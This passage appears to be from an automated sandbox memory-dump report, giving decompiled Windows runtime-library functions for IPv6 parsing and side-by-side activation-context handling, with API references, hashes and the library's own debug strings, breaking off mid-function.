0x6a971e09
0x6a971e09
0x6a971e0c
0x00000000
0x6a971e0c
0x6a971dd0
0x6a971d9b
0x6a971d8c
0x6a971d2a
0x6a971d2b
0x6a971d31
0x6a971d33
0x00000000
0x6a971d35
0x6a971d35
0x6a971d3b
0x6a971d3e
0x6a971d40
0x00000000
0x6a971d42
0x6a971d4d
0x6a971d52
0x00000000
0x6a971d58
0x6a971d5f
0x6a971d68
0x6a971d6b
0x6a971d6e
0x00000000
0x6a971d6e
0x6a971d52
0x6a971d40
0x6a971d33
0x00000000
0x6a971e10
0x6a971e10
0x6a971e11
0x6a971e13
0x6a971e16
0x6a971e16
0x6a971e24
0x6a971e24
0x6a971e27
0x00000000
0x6a971e2d
0x6a971e2d
0x6a971e31
0x00000000
0x6a971e37
0x6a971e3e
0x6a971e47
0x6a971e49
0x6a971e49
0x6a971e31
0x6a971e27
0x6a971d12
0x6a971cdd
0x6a971cd0
0x6a971c28
0x6a971c28
0x6a971c29
0x6a971c2b
0x6a971c2f
0x6a971c34
0x6a971c35
0x6a971c37
0x00000000
0x6a971c3d
0x6a971c3e
0x6a971c44
0x6a971c46
0x00000000
0x6a971c4c
0x6a971c4c
0x6a971c4e
0x6a971cbd
0x6a971cbd
0x6a971cc2
0x00000000
0x6a971c50
0x6a971c50
0x6a971c53
0x6a971c53
0x6a971c56
0x00000000
0x00000000
0x6a971c58
0x6a971c5c
0x6a971c61
0x6a971c62
0x6a971c64
0x00000000
0x6a971c6a
0x6a971c6b
0x6a971c71
0x6a971c73
0x00000000
0x6a971c79
0x6a971c79
0x6a971c7e
0x6a971c81
0x6a971c88
0x6a971c89
0x6a971c8f
0x6a971c91
0x6a971c94
0x6a971c97
0x6a971c99
0x00000000
0x6a971c9f
0x6a971c9f
0x6a971caa
0x6a971cb1
0x6a971cb3
0x6a971cb4
0x6a971cb7
0x6a971cb9
0x6a971cbb
0x00000000
0x00000000
0x00000000
0x00000000
0x6a971ca1
0x6a971ca1
0x6a971ca4
0x00000000
0x00000000
0x00000000
0x00000000
0x6a971ca4
0x6a971c9f
0x6a971c99
0x6a971c73
0x00000000
0x6a971c64
0x00000000
0x6a971c53
0x6a971c4e
0x6a971c46
0x6a971c37
0x00000000
0x00000000
0x00000000
0x6a916ce9
0x6a916cf4
0x6a916cfa

APIs

RtlIpv6StringToAddressA.1105(?,00000000,?,00000000), ref: 6A916CE2

Strings

[, xrefs: 6A971CCC

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressIpv6String
String ID: [
API String ID: 27538981-784033777
Opcode ID: 6fc8d88a6431a7faa658da00268c126386f55933642b9b9e14cb1f00605dfa96
Instruction ID: 6dc916231b06011984c5041aefcae269108e97173ae420fb51651dca576c6d5d
Opcode Fuzzy Hash: 6fc8d88a6431a7faa658da00268c126386f55933642b9b9e14cb1f00605dfa96
Instruction Fuzzy Hash: 4571F631D0824A6BEB258A68D8B17AE7BB8AF07324F35455AD6E0D62D1DF34D582C730

Uniqueness

Uniqueness Score: -1.00%

Function 6A951CC7, Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 193
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E6A951CC7(void* __ebx, intOrPtr* __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t91;
				intOrPtr _t95;
				short _t96;
				intOrPtr _t104;
				intOrPtr _t111;
				short _t119;
				signed int _t130;
				intOrPtr _t133;
				intOrPtr _t137;
				struct _EXCEPTION_RECORD _t143;
				intOrPtr* _t146;
				void* _t150;

				_t138 = __edx;
				_push(0x154);
				_push(0x6a9f0348);
				E6A96D0E8(__ebx, __edi, __esi);
				 *(_t150 - 0xf0) = __edx;
				_t146 = __ecx;
				 *((intOrPtr*)(_t150 - 0xfc)) = __ecx;
				 *((intOrPtr*)(_t150 - 0xf8)) =  *((intOrPtr*)(_t150 + 8));
				 *(_t150 - 0xe8) =  *(_t150 + 0xc);
				 *((intOrPtr*)(_t150 - 0xf4)) =  *((intOrPtr*)(_t150 + 0x10));
				 *((intOrPtr*)(_t150 - 0xe4)) = 0;
				 *(_t150 - 0xdc) = 0;
				 *((intOrPtr*)(_t150 - 0xd8)) = 0;
				 *(_t150 - 0xe0) = 0;
				 *((intOrPtr*)(_t150 - 0x140)) = 0x40;
				memset(_t150 - 0x13c, 0, 0x3c);
				 *((intOrPtr*)(_t150 - 0x164)) = 0x24;
				 *((intOrPtr*)(_t150 - 0x160)) = 1;
				_t130 = 7;
				memset(_t150 - 0x15c, 0, _t130 << 2);
				_t143 =  *(_t150 - 0xe8);
				_t91 = E6A932430(1, _t146, 0,  *((intOrPtr*)(_t150 - 0xf8)), _t143,  *((intOrPtr*)(_t150 - 0xf4)), _t150 - 0xe0, 0, 0);
				_t147 = _t91;
				if(_t91 >= 0) {
					if( *0x6aa08460 != 0 && ( *(_t150 - 0xe0) & 0x00000001) == 0) {
						_t95 = E6A932D50(7, 0, 2,  *((intOrPtr*)(_t150 - 0xfc)), _t150 - 0x140);
						_t147 = _t95;
						if(_t95 < 0) {
							goto L1;
						}
						if( *(_t150 - 0x13c) == 1) {
							if(( *(_t150 - 0x118) & 0x00000001) == 0) {
								if(( *(_t150 - 0x118) & 0x00000002) != 0) {
									 *(_t150 - 0x120) = 0xfffffffc;
								}
							} else {
								 *(_t150 - 0x120) =  *(_t150 - 0x120) & 0x00000000;
							}
							_t133 =  *((intOrPtr*)(_t150 - 0x114));
							_t96 =  *((intOrPtr*)(_t133 + 0x5c));
							 *((short*)(_t150 - 0xda)) = _t96;
							 *(_t150 - 0xdc) = _t96;
							 *((intOrPtr*)(_t150 - 0xd8)) =  *((intOrPtr*)(_t133 + 0x60)) +  *((intOrPtr*)(_t150 - 0x110));
							 *(_t150 - 0xe8) = _t150 - 0xd0;
							 *((short*)(_t150 - 0xea)) = 0xaa;
							_t104 = E6A924720(_t138,  *(_t150 - 0xf0) & 0x0000ffff, _t150 - 0xec, 2, 0);
							_t147 = _t104;
							if(_t104 < 0 || RtlCompareUnicodeString(_t150 - 0xdc, _t150 - 0xec, 1) == 0) {
								goto L1;
							} else {
								 *0x6aa0b1e0( *(_t150 - 0x120),  *(_t150 - 0xf0), _t150 - 0xe4);
								_t147 =  *((intOrPtr*)( *0x6aa08460))();
								 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
								if(_t147 < 0) {
									goto L1;
								}
								_t111 =  *((intOrPtr*)(_t150 - 0xe4));
								if(_t111 == 0xffffffff) {
									L25:
									 *((intOrPtr*)(_t150 - 4)) = 1;
									_t143 =  *0x6aa08468;
									if(_t143 != 0) {
										 *0x6aa0b1e0(_t111);
										 *_t143();
									}
									 *((intOrPtr*)(_t150 - 4)) = 0xfffffffe;
									goto L1;
								}
								E6A92F540(_t150 - 0x164, _t111);
								 *((intOrPtr*)(_t150 - 4)) = 0;
								if( *((intOrPtr*)(_t143 + 4)) != 0) {
									RtlFreeUnicodeString(_t143);
								}
								_t144 =  *((intOrPtr*)(_t150 - 0xfc));
								_t147 = E6A932430(0,  *((intOrPtr*)(_t150 - 0xfc)), 0,  *((intOrPtr*)(_t150 - 0xf8)), _t143,  *((intOrPtr*)(_t150 - 0xf4)), _t150 - 0xe0, 0, 0);
								 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
								if(_t147 < 0) {
									L24:
									 *((intOrPtr*)(_t150 - 4)) = 0xfffffffe;
									_t111 = E6A98D704();
									goto L25;
								} else {
									_t147 = E6A932D50(7, 0, 2, _t144, _t150 - 0x140);
									 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
									if(_t147 < 0) {
										goto L24;
									}
									if( *(_t150 - 0x13c) == 1) {
										_t137 =  *((intOrPtr*)(_t150 - 0x114));
										_t119 =  *((intOrPtr*)(_t137 + 0x5c));
										 *((short*)(_t150 - 0xda)) = _t119;
										 *(_t150 - 0xdc) = _t119;
										 *((intOrPtr*)(_t150 - 0xd8)) =  *((intOrPtr*)(_t137 + 0x60)) +  *((intOrPtr*)(_t150 - 0x110));
										if(RtlCompareUnicodeString(_t150 - 0xdc, _t150 - 0xec, 1) == 0) {
											goto L24;
										}
										_t147 = 0xc0150004;
										L23:
										 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
										goto L24;
									}
									_t147 = 0xc0150005;
									goto L23;
								}
							}
						}
						_t147 = 0xc0150005;
					}
				}
				L1:
				return E6A96D130(1, _t143, _t147);
			}

0x6a951cc7
0x6a951cc7
0x6a951ccc
0x6a951cd1
0x6a951cd6
0x6a951cdc
0x6a951cde
0x6a951ce7
0x6a951cf0
0x6a951cf9
0x6a951d01
0x6a951d09
0x6a951d0f
0x6a951d15
0x6a951d1b
0x6a951d2f
0x6a951d37
0x6a951d44
0x6a951d4c
0x6a951d55
0x6a951d68
0x6a951d78
0x6a951d7d
0x6a951d81
0x6a98d4e3
0x6a98d509
0x6a98d50e
0x6a98d512
0x00000000
0x00000000
0x6a98d51e
0x6a98d531
0x6a98d543
0x6a98d545
0x6a98d545
0x6a98d533
0x6a98d533
0x6a98d533
0x6a98d54f
0x6a98d555
0x6a98d559
0x6a98d560
0x6a98d570
0x6a98d57c
0x6a98d587
0x6a98d5a3
0x6a98d5a8
0x6a98d5ac
0x00000000
0x6a98d5ce
0x6a98d5e9
0x6a98d5f1
0x6a98d5f3
0x6a98d5fb
0x00000000
0x00000000
0x6a98d601
0x6a98d60a
0x6a98d6e1
0x6a98d6e1
0x6a98d6e4
0x6a98d6ec
0x6a98d6f1
0x6a98d6f7
0x6a98d6f7
0x6a98d730
0x00000000
0x6a98d730
0x6a98d618
0x6a98d61f
0x6a98d625
0x6a98d628
0x6a98d628
0x6a98d644
0x6a98d651
0x6a98d653
0x6a98d65b
0x6a98d6d5
0x6a98d6d5
0x6a98d6dc
0x00000000
0x6a98d65d
0x6a98d670
0x6a98d672
0x6a98d67a
0x00000000
0x00000000
0x6a98d682
0x6a98d68b
0x6a98d691
0x6a98d695
0x6a98d69c
0x6a98d6ac
0x6a98d6c8
0x00000000
0x00000000
0x6a98d6ca
0x6a98d6cf
0x6a98d6cf
0x00000000
0x6a98d6cf
0x6a98d684
0x00000000
0x6a98d684
0x6a98d65b
0x6a98d5ac
0x6a98d520
0x6a98d520
0x6a98d4e3
0x6a951d87
0x6a951d8e

APIs

memset.1105(?,00000000,0000003C,6A9F0348,00000154,6A92BC93,02BE0000,?,?,?,.mui,?,?,?,?,?), ref: 6A951D2F
RtlDosApplyFileIsolationRedirection_Ustr.1105(00000001,?,00000000,?,?,?,?,00000000,00000000), ref: 6A951D78
RtlFindActivationContextSectionString.1105(00000007,00000000,00000002,?,?,00000001,?,00000000,?,?,?,?,00000000,00000000), ref: 6A98D509

Strings

@, xrefs: 6A951D1B
$, xrefs: 6A951D37

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivationApplyContextFileFindIsolationRedirection_SectionStringUstrmemset
String ID: $$@
API String ID: 2010900335-1194432280
Opcode ID: 19129c4320e8cc4664b5a02fc8a512c1b9225432ac1aea1bb71ae9fc7e15bc80
Instruction ID: c2fc44bcf7deb862511e50162b0d95b937b74dbd3b115dd6f38adb251eadc930
Opcode Fuzzy Hash: 19129c4320e8cc4664b5a02fc8a512c1b9225432ac1aea1bb71ae9fc7e15bc80
Instruction Fuzzy Hash: 938149B1C00269ABDB21DF54CC45BDEB6B8AF09704F2145EAE91DB7240DB709E85CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A918EE6, Relevance: 24.6, APIs: 3, Strings: 11, Instructions: 148COMMON

Download Yara Rule

Strings

SXS: %s() found assembly information section with element list overlapping section header Section header: %p Header Size: %lu ElementListOffset: %lu, xrefs: 6A973577
SXS: %s() passed string section at %p with too small of a header HeaderSize: %lu Required: %lu, xrefs: 6A97354D
SXS: %s() found assembly information section with user data too small Section header: %p UserDataSize: %lu; needed: %lu, xrefs: 6A97355D
SXS: %s() found assembly information section with search structure overlapping section header Section header: %p Header Size: %lu SearchStructureOffset: %lu, xrefs: 6A97358E
SsHd, xrefs: 6A918F1B
SXS: %s() passed string section at %p only %Iu bytes long; that's not even enough for the 4-byte magic and 4-byte header length!, xrefs: 6A9734F1
SXS: %s() found assembly information section with user data extending beyond section data Section header: %p UserDataSize: %lu UserDataOffset: %lu Section size: %Iu, xrefs: 6A97351C
SXS: %s() found assembly information section with user data overlapping section header Section header: %p Header Size: %lu User Data Offset: %lu, xrefs: 6A97359D
SXS: %s() found assembly information section with wrong magic value Expected %lu; got %lu, xrefs: 6A97353D
SXS: %s() passed string section at %p claims %lu byte header size; that doesn't even include the HeaderSize member!, xrefs: 6A9734FF
RtlpCrackActivationContextStringSectionHeader, xrefs: 6A9734EC, 6A9734FA, 6A973517, 6A973538, 6A973548, 6A973558, 6A973572, 6A973589, 6A973598

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: RtlpCrackActivationContextStringSectionHeader$SXS: %s() found assembly information section with element list overlapping section header Section header: %p Header Size: %lu ElementListOffset: %lu$SXS: %s() found assembly information section with search structure overlapping section header Section header: %p Header Size: %lu SearchStructureOffset: %lu$SXS: %s() found assembly information section with user data extending beyond section data Section header: %p UserDataSize: %lu UserDataOffset: %lu Section size: %Iu$SXS: %s() found assembly information section with user data overlapping section header Section header: %p Header Size: %lu User Data Offset: %lu$SXS: %s() found assembly information section with user data too small Section header: %p UserDataSize: %lu; needed: %lu$SXS: %s() found assembly information section with wrong magic value Expected %lu; got %lu$SXS: %s() passed string section at %p claims %lu byte header size; that doesn't even include the HeaderSize member!$SXS: %s() passed string section at %p only %Iu bytes long; that's not even enough for the 4-byte magic and 4-byte header length!$SXS: %s() passed string section at %p with too small of a header HeaderSize: %lu Required: %lu$SsHd
API String ID: 0-1525761513
Opcode ID: 3dd4eb041f1581d19f5658346d96c0461bdf61211fb0c80024c1f21a8d54318c
Instruction ID: 7709155c9e372e898e0c9d8275dfe3b4047e015a559df9445e6f8099d6e7ce8b
Opcode Fuzzy Hash: 3dd4eb041f1581d19f5658346d96c0461bdf61211fb0c80024c1f21a8d54318c
Instruction Fuzzy Hash: 7441A3B5304215BFA7248E18CC84E37B7BEDBD5B88731815DF518AA201EE31ED4287B1

Uniqueness

Uniqueness Score: -1.00%

Function 6A9331F0, Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 248
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E6A9331F0(void* __ecx, void __edx, void* _a4, intOrPtr* _a8, intOrPtr* _a12) {
				signed int _v12;
				void _v28;
				signed int _v32;
				void _v36;
				int _v40;
				void _v44;
				intOrPtr _v48;
				void _v52;
				intOrPtr* _v56;
				intOrPtr* _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t80;
				void* _t85;
				intOrPtr _t86;
				void* _t90;
				signed int _t91;
				signed int _t95;
				signed int _t96;
				int _t97;
				void* _t99;
				intOrPtr _t100;
				signed int _t106;
				int _t110;
				void _t120;
				void* _t125;
				signed char _t126;
				void* _t127;
				intOrPtr _t128;
				void* _t135;
				void* _t136;
				intOrPtr _t137;
				signed int _t139;
				void* _t140;
				signed int _t152;

				_t132 = __edx;
				_v12 =  *0x6aa0d360 ^ _t139;
				_t135 = __ecx;
				_t136 = 0;
				_v56 = _a8;
				_t110 =  *(__ecx + 0xc);
				_v52 = __edx;
				_v60 = _a12;
				_v40 = _t110;
				if(_t110 < 0x20 ||  *((intOrPtr*)(__ecx + 4)) < 0x20) {
					_push( *((intOrPtr*)(_t135 + 4)));
					_push(_t110);
					_push(_t135);
					_push("SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu\n");
					goto L50;
				} else {
					if(__edx != 0) {
						_t82 =  *((intOrPtr*)(__ecx + 0x14));
						if( *((intOrPtr*)(__ecx + 0x14)) == 0) {
							goto L25;
						} else {
							_t132 = 1;
							_t85 = E6A9A444F(_t82, 1, 0x10, _t110);
							_t86 =  *((intOrPtr*)(_t135 + 0x14));
							_push(_t110);
							if(_t85 != 0) {
								_t120 =  *(_t86 + _t135 + 4);
								_t132 = _t120;
								_v44 = _t120;
								_push(0x18);
								_v32 =  *((intOrPtr*)(_t86 + _t135 + 8));
								if(E6A9A444F( *((intOrPtr*)(_t86 + _t135 + 8)), _t120) != 0) {
									_t123 = _v32 + _t135;
									_v32 = 0;
									_v48 = _t123;
									if(_v44 <= 0) {
										goto L25;
									} else {
										_t110 = _v52;
										_v36 = _t123;
										while(1) {
											_t90 = E6A95F380(_t110, _t123, 0x10);
											_t140 = _t140 + 0xc;
											_t91 = _v32;
											if(_t90 == 0) {
												break;
											}
											_t106 = _t91 + 1;
											_t123 = _v36 + 0x18;
											_v32 = _t106;
											_v36 = _v36 + 0x18;
											if(_t106 < _v44) {
												continue;
											} else {
												goto L25;
											}
											goto L52;
										}
										_t132 = 1;
										_t110 =  *(_v48 + 0x10 + (_t91 + _t91 * 2) * 8);
										if(E6A9A444F(_t110, 1, 0x10,  *(_t135 + 0xc)) != 0) {
											goto L4;
										} else {
											_push(_v40);
											_push(0x10);
											_push(_t110);
											E6A9A5720(0x33, 0, "SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes)\n", _v32);
											goto L51;
										}
									}
								} else {
									_push(_t110);
									_push(0x18);
									_push(_v44);
									E6A9A5720(0x33, 0, "SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)\n", _v32);
									goto L51;
								}
							} else {
								E6A9A5720(0x33, 0, "SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes)\n", _t86);
								goto L51;
							}
						}
					} else {
						_t110 =  *(__ecx + 0x10);
						if(_t110 == 0) {
							L25:
							return E6A95B640(0xc0150001, _t110, _v12 ^ _t139, _t132, _t135, _t136);
						} else {
							L4:
							_t125 = _t135 + _t110;
							if(_t125 == 0) {
								goto L25;
							} else {
								_t110 =  *(_t125 + 4);
								if(_t110 == 0) {
									goto L25;
								} else {
									_v36 =  *(_t125 + 8);
									_t95 = _t110;
									_t96 = _t95 * 0x10;
									_t152 = _t95 * 0x10 >> 0x20;
									if(_t152 < 0 || _t152 <= 0 && _t96 <= 0xffffffff) {
										_t132 =  *(_t125 + 8);
										_t137 = _t96 + _t132;
										_v48 = _t137;
										_t136 = 0;
										if(_t137 < _t96) {
											goto L47;
										} else {
											_t97 =  *(_t135 + 0xc);
											if(_t132 >= _t97 || _v48 > _t97) {
												goto L48;
											} else {
												_t126 =  *(_t125 + 0xc);
												_t99 = _t132 + _t135;
												if((_t126 & 0x00000002) == 0) {
													_t127 = 0;
													if(_t110 != 0) {
														_t132 = _a4;
														while( *_t99 != _t132) {
															_t127 = _t127 + 1;
															_t99 = _t99 + 0x10;
															if(_t127 < _t110) {
																continue;
															} else {
															}
															goto L17;
														}
														goto L16;
													}
													goto L17;
												} else {
													_t132 =  *_t99;
													_t136 = _a4;
													if(_t136 < _t132) {
														goto L25;
													} else {
														if((_t126 & 0x00000001) != 0) {
															_t136 = _t136 - _t132;
															if(_t136 >= _t110) {
																goto L25;
															} else {
																_t136 = _t99 + (_t136 << 4);
																goto L17;
															}
														} else {
															_v28 = _t136;
															_t99 = bsearch( &_v28, _t99, _t110, 0x10, 0x6a948c30);
															_t140 = _t140 + 0x14;
															L16:
															_t136 = _t99;
															L17:
															if(_t136 == 0) {
																goto L25;
															} else {
																_t100 =  *((intOrPtr*)(_t136 + 4));
																if(_t100 == 0) {
																	goto L25;
																} else {
																	_t128 =  *((intOrPtr*)(_t136 + 8));
																	_t110 =  *(_t135 + 0xc);
																	if(_t128 > 0xffffffff) {
																		L26:
																		_push(_t110);
																		_push(_t128);
																		_push(_t100);
																		_push("SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes)\n");
																		L50:
																		_push(0);
																		_push(0x33);
																		E6A9A5720();
																		goto L51;
																	} else {
																		_t132 = _t128 + _t100;
																		if(_t132 < _t128 || _t100 >= _t110 || _t132 > _t110) {
																			goto L26;
																		} else {
																			 *_v56 = _t100 + _t135;
																			 *_v60 =  *((intOrPtr*)(_t136 + 8));
																			_t80 = 0;
																		}
																	}
																	goto L24;
																}
															}
														}
													}
												}
											}
										}
									} else {
										_t132 = _v36;
										L47:
										_t97 = _v40;
										L48:
										_push(_t97);
										_push(0x10);
										_push(_t110);
										E6A9A5720(0x33, 0, "SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)\n", _t132);
										L51:
										_t80 = 0xc0150003;
										L24:
										return E6A95B640(_t80, _t110, _v12 ^ _t139, _t132, _t135, _t136);
									}
								}
							}
						}
					}
				}
				L52:
			}

0x6a9331f0
0x6a9331ff
0x6a933205
0x6a93320c
0x6a93320e
0x6a933214
0x6a933217
0x6a93321a
0x6a93321d
0x6a933223
0x6a97d974
0x6a97d977
0x6a97d978
0x6a97d979
0x00000000
0x6a933233
0x6a933235
0x6a97d824
0x6a97d829
0x00000000
0x6a97d82f
0x6a97d832
0x6a97d839
0x6a97d840
0x6a97d843
0x6a97d844
0x6a97d85d
0x6a97d861
0x6a97d867
0x6a97d86c
0x6a97d86e
0x6a97d878
0x6a97d89f
0x6a97d8a1
0x6a97d8a4
0x6a97d8aa
0x00000000
0x6a97d8b0
0x6a97d8b0
0x6a97d8b3
0x6a97d8b6
0x6a97d8ba
0x6a97d8bf
0x6a97d8c4
0x6a97d8c7
0x00000000
0x00000000
0x6a97d8cc
0x6a97d8cd
0x6a97d8d0
0x6a97d8d3
0x6a97d8d9
0x00000000
0x6a97d8db
0x00000000
0x6a97d8db
0x00000000
0x6a97d8d9
0x6a97d8e9
0x6a97d8f0
0x6a97d8fd
0x00000000
0x6a97d903
0x6a97d903
0x6a97d909
0x6a97d90b
0x6a97d916
0x00000000
0x6a97d91b
0x6a97d8fd
0x6a97d87a
0x6a97d87d
0x6a97d87e
0x6a97d880
0x6a97d88d
0x00000000
0x6a97d892
0x6a97d846
0x6a97d850
0x00000000
0x6a97d855
0x6a97d844
0x6a93323b
0x6a93323b
0x6a933240
0x6a93332c
0x6a933341
0x6a933246
0x6a933246
0x6a933246
0x6a93324b
0x00000000
0x6a933251
0x6a933251
0x6a933256
0x00000000
0x6a93325c
0x6a933264
0x6a933267
0x6a933269
0x6a93326b
0x6a93326d
0x6a93327e
0x6a933281
0x6a933284
0x6a933289
0x6a93328e
0x00000000
0x6a933294
0x6a933294
0x6a933299
0x00000000
0x6a9332a8
0x6a9332a8
0x6a9332ab
0x6a9332b1
0x6a97d934
0x6a97d938
0x6a97d93e
0x6a97d941
0x6a97d949
0x6a97d94a
0x6a97d94f
0x00000000
0x00000000
0x6a97d951
0x00000000
0x6a97d94f
0x00000000
0x6a97d941
0x00000000
0x6a9332b7
0x6a9332b7
0x6a9332b9
0x6a9332be
0x00000000
0x6a9332c0
0x6a9332c3
0x6a97d920
0x6a97d924
0x00000000
0x6a97d92a
0x6a97d92d
0x00000000
0x6a97d92d
0x6a9332c9
0x6a9332d5
0x6a9332d9
0x6a9332de
0x6a9332e1
0x6a9332e1
0x6a9332e3
0x6a9332e5
0x00000000
0x6a9332e7
0x6a9332e7
0x6a9332ec
0x00000000
0x6a9332ee
0x6a9332ee
0x6a9332f1
0x6a9332f7
0x6a933344
0x6a933344
0x6a933345
0x6a933346
0x6a933347
0x6a97d97e
0x6a97d97e
0x6a97d980
0x6a97d982
0x00000000
0x6a9332f9
0x6a9332f9
0x6a9332fe
0x00000000
0x6a933308
0x6a93330d
0x6a933315
0x6a933317
0x6a933317
0x6a9332fe
0x00000000
0x6a9332f7
0x6a9332ec
0x6a9332e5
0x6a9332c3
0x6a9332be
0x6a9332b1
0x6a933299
0x6a97d956
0x6a97d956
0x6a97d959
0x6a97d959
0x6a97d95c
0x6a97d95c
0x6a97d95d
0x6a97d95f
0x6a97d96a
0x6a97d98a
0x6a97d98a
0x6a93331c
0x6a933329
0x6a933329
0x6a93326d
0x6a933256
0x6a93324b
0x6a933240
0x6a933235
0x00000000

APIs

bsearch.1105(00000001,?,00000020,00000010,6A948C30,00000010,?,C00000E5,00000000,00000030,?,6A918D70,00000000,?,?,00000030), ref: 6A9332D9
DbgPrintEx.1105(00000033,00000000,SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes),?,?,00000010,?,C00000E5,00000000,00000030,?,6A918D70,00000000,?,?,00000030), ref: 6A97D850
DbgPrintEx.1105(00000033,00000000,SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes),?,00000020,00000010,00000030,00000010,?,C00000E5,00000000,00000030,?,6A918D70,00000000,?), ref: 6A97D96A
DbgPrintEx.1105(00000033,00000000,SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu,00000001,?,?,C00000E5,00000000,00000030,?,6A918D70,00000000,?,?,00000030,?), ref: 6A97D982

Strings

SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes), xrefs: 6A97D961
SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu, xrefs: 6A97D979
SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes), xrefs: 6A97D847
SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes), xrefs: 6A97D90D
SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes), xrefs: 6A97D884
SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes), xrefs: 6A933347

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$bsearch
String ID: SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu$SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)$SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes)$SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes)$SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes)$SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)
API String ID: 3813682011-732641482
Opcode ID: 19321c8bc2280d0cfd50e1b0f06aed53312c602f2ffec6bbb3debb243023e148
Instruction ID: e84758da3b3e3ad5180518fd55031c117298635762ca46f5c08b9d1e1678db12
Opcode Fuzzy Hash: 19321c8bc2280d0cfd50e1b0f06aed53312c602f2ffec6bbb3debb243023e148
Instruction Fuzzy Hash: 5B81DB71B40219AFEB24CE68C881BAEF3B9EB54354F618169E915AB341EF71D841CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6A916D10, Relevance: 21.3, APIs: 14, Instructions: 316
stringCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E6A916D10(char* _a4, intOrPtr* _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int _v16;
				char** _v20;
				signed int _v24;
				signed int _v28;
				char* _v32;
				signed int _t97;
				char** _t99;
				void* _t108;
				long _t115;
				void* _t118;
				char* _t120;
				char** _t121;
				long _t122;
				long _t123;
				signed int _t124;
				void* _t127;
				void* _t132;
				char* _t134;
				char** _t137;
				intOrPtr _t141;
				intOrPtr _t142;
				signed int _t143;
				char _t146;
				signed int _t151;
				char* _t153;
				intOrPtr* _t155;
				void* _t156;
				void* _t157;
				void* _t161;
				void* _t162;
				char** _t170;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t175;
				intOrPtr _t177;
				signed int _t179;
				signed int _t180;
				void* _t182;
				void* _t189;

				_t97 = 0;
				_v32 = 0;
				_t170 = 0;
				_v5 = 0;
				_t180 = 0;
				_v28 = 0;
				_t143 = 0;
				_v24 = 0;
				_t179 = 0;
				_v20 = 0;
				_v12 = 0;
				_v16 = 0;
				_t141 =  *_a4;
				while(_t141 != 0) {
					_t117 = _t97;
